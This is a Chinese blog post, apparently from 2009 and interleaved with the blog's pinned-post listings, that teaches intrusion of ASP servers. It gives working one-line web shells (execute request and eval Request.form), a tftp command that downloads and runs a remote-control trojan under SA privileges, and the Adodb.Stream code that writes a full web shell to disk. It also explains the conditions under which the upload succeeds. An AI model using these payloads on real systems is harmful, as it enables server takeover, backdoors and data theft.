1)只有数据库备份的情况
数据库备份成asp文件时候,不出现“ 编译错误,缺少脚本关闭标志%>"
2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快)
tftp -i ip get server.exe
一句话木马<%execute request("a")%>的原理:
首先知道
execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute request("a")%>可以这样来解释:
...
[置顶]:关于问我借钱的|想跟我做兄弟的|找我帮忙的声明
9
本文作者:laibu 发布于:2008-6-6 分类:生活百科 点击:
[置顶]:我推广是用的资料和工具/全球最好的黄页/B2B网站
4
本文作者:laibu 发布于:2007-11-6 分类:搜索引擎优化 点击:
[置顶]:blog友情连接声明
13
本文作者:laibu 发布于:2007-9-29 分类:网站制作 点击:
[置顶]:看了吗?哭了吗?朋友别哭
16
本文作者:laibu 发布于:2007-4-18 分类:报纸 点击:
本文作者:laibu 发布于:2009-9-17 分类:技术交流 点击:
本文作者:laibu 发布于:2009-9-17 分类:技术交流 点击:
eval(Request.form('#')+'') 来解释下它的原理. 首先是脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话 它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代 码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码: set iP=server.createObject("Adodb.Stream") iP.Open iP.Type=2 iP.CharSet="gb2312" iP.writetext request("aoyun") iP.SaveToFile server.mappath("aoyunwan.asp"),2 iP.Close set iP=nothing response.redirect "aoyunwan.asp" 学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用 Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了: set iP=server.createObject("Adodb.Stream") iP.Open iP.Type=2 iP.CharSet="gb2312" iP.writetext request("aoyun") iP.SaveToFile server.mappath("aoyunwan.asp"),2 iP.Close set iP=nothing response.redirect "aoyunwan.asp" 学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun") 读取过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的 aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象 然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了! 不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器 端创建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者 everyone写入操作的话那么也是不会成功的
...